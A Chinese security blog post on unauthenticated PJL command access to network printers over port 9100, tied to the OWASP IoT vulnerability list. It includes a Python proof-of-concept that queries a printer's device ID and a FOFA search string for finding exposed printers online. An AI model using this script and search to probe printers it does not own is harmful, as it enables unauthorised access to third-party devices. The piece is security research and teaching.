从打印机命令执行漏洞看OWASP IoT项目

  • A+
所属分类:未分类

0x00 介绍
打印机(Printer) 是计算机的输出设备之一,设备非常常见,很多厂商都有生产打印机。由于互联网的日益壮大,打印机联网变得越来越多。打印机的安全问题其实是一件老生常谈的事情,大多数由于关注度不高,所以并不受到广泛重视。

0x01 挖掘前知识铺垫

打印机使用PJL语言:介绍:PJL ,是Printer Job Language的简写,它提供了不同类别的打印控制。该语言可以用于控制打印机,在大多数情况下,打印机会开放9100端口,并且接受PJL命令。

命令 使用方法 中文解释
COMMENT @PJL COMMENT [words] [<CR>]   <LF> 加入评论
DEFAULT @PJL DEFAULT [LPARM: ***] variable =   value [<CR>] <LF> 设置默认值
DINQUIRE @PJL DINQUIRE [LPARM: ***] variable   [<CR>] <LF> 查询
ECHO @PJL ECHO [Words] [<CR>]   <LF> 回显字符
ENTER @PJL ENTER LANGUAGE = *** [<CR>]   <LF> 进入
INFO @PJL INFO read only variable   [<CR>] <LF> 查询信息
INITIALIZE @PJL INITIALIZE [<CR>]   <LF> 初始化
INQUIRE @PJL INQUIRE [LPARM: ***] variable   [<CR>] <LF> 查询
RESET @PJL RESET [<CR>] <LF> 重置
USTATUS @PJL USTATUS variable = value   [<CR>] <LF> 显示状态
USTATUSOFF @PJL USTATUSOFF [<CR>]   <LF> 状态关闭
0x02 挖掘方法
由于打印机默认开放9100端口用于PJL命令,并且在9100端口无访问权限限制,从而可以通过9100端口在打印机上执行PJL命令。

使用POC如下:#!/usr/bin/env python
# -*- coding: UTF-8 -*-

import socket
import sys
PJL_START = "\033%-12345X@PJL "
PJL_FINISH = "\033%-12345X\r\n"
PJL_USTATUS = "USTATUS DEVICE="
PJL_INFO_ID = """INFO ID\r\n"""
EOF = PJL_START + PJL_USTATUS + "OFF\r\n" + PJL_FINISH  # PJL  语言
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  # PJL  语言  获取设备型号
def Buildsocket(ip, port=9100):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)  # 与主机建立socket连接
sock.settimeout(5)
try:
sock.connect((ip, port))
except:
print "[!*]-ip-%s-can't connect--" % ip
return 'error'
sock.send(EOF)
sock.send(DEVICEID)  # 发送PJL指令给远程打印机
try:
device = sock.recv(1024)
except:
return 'No'
print "[!*]-ip-%s-is-ok\r\ndeviceidis-%s" 
% (str(ip), device)
sock.close()
return 'OK'
if 
__name__ == '__main__':
ip = sys.argv[1]
Buildsocket(ip, port=9100)

在命令执行POC,就可以和打印机9100端口进行INFO ID命令的交互。

0x03 如何发现公网中开放的打印机设备
打印机开放9100端口可以在网络空间搜索引擎中搜索到相关的设备,笔者使用的是FOFA搜索引擎,搜索关键字protocol==printer-job-language。互联网中存在大量的打印机设备并且明显看出可以执行PJL命令。

0x04 总结
打印机的漏洞遍布各个厂商,从实践的角度出发,打印机漏洞大体上分为:1、打印机作业语言PJL

2、SNMP协议语言

3、打印机管理语言PML

4、打印机9100端口溢出漏洞

0x05 OWASP IoT项目
在OWASP IoT项目中总结和描述了17类漏洞。而上述打印机漏洞也包含在了这17类漏洞中。另据最新消息,2018年版的OWASP IoT Top 10已进入最终审查阶段,并将于近期在OWASP全球社区中发布。OWASP中国将保持对本项目的跟踪,并将在第一时间发布相关资讯。

★表、OWASP IoT项目总结的17类IoT漏洞
漏洞 攻击面 概要
用户名枚举 *管理界面

*设备Web界面

*云界面

*移动应用程序

*能够通过认证交互收集一组有效的用户名
弱密码 *管理界面

*设备Web界面

*云界面

*移动应用程序

*例如,能够将帐户密码设置为“1234”或“123456”。

*使用预先编程的默认密码

账号锁定 *管理界面

*设备Web界面

*云界面

*移动应用程序

*能够在3 - 5次登录尝试失败后,继续发送身份验证尝试
非加密服务 *设备网络服务 *网络服务未作适当加密来防止攻击者窃听或篡改
双因素认证 *管理界面

*云Web界面

*移动应用程序

*缺少双因素认证机制,如安全令牌或指纹扫描器
轻度加密 *设备网络服务 *虽然已执行加密,但是该配置不正确或未被能准确更新。例如使用SSL v2
非加密更新 *更新机制 *更新是在没有使用TLS或加密情况下通过网络传输更新文件的
更新位置为可写 *更新机制 *更新文件的存储位置为可写,并允许修改固件并分发给所有用户
拒绝服务 *设备网络服务 *服务能够以拒绝该服务或整个设备的服务方式进行攻击
删除存储介质 *设备物理接口 *能够从设备中删除物理存储介质
无手动更新机制 *更新机制 *无法手动强制更新检查设备
缺乏更新机制 *更新机制 *无法更新设备
固件版本显示及最后更新日期 *设备固件 *当前固件版本不显示,或者最后更新日期不显示,也有可能两者都不显示。
固件和存储提取 *JTAG / SWD接口

*In-Situ dumping

*拦截OTA更新

*从制造商网页进行下载

*eMMC敲击

*取消链接SPI Flash / eMMC芯片并在适配器中进行读取

*固件包含许多有用的信息,例如,运行服务的源代码和二进制文件、预设密码、ssh密钥等。
操纵设备的代码执行流程 *JTAG / SWD接口

*侧面的渠道攻击,例如glitching

*借助于JTAG适配器和gdb,我们可以修改设备中固件的执行程序,并绕过几乎所有基于软件的安全控制。

*侧面通道攻击还可以修改执行流程,或者可以用来获取设备泄漏的有趣信息

获取控制台访问 *串行接口(SPI / UART) *通过连接到串行接口,我们将获得对设备的完全控制台访问

*通常来说,安全措施包括防止攻击者进入单独用户模式的自定义启动程序,但它也可以绕过攻击者。

不安全的第三方组件 *软件 *使用过期版本的busybox、openssl、ssh、web服务器等
作者介绍

vr_system,目前担任某大型安全公司技术研究院安全研究员,owasp中国会员,曾发现CVE、CNVD、CNNVD原创漏洞几十个,主要挖掘联想、惠普、富士施乐、用友云、中国联通、中国移动等厂商漏洞。乐于分享技术,投稿于各大安全论坛以及机构和公司。

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: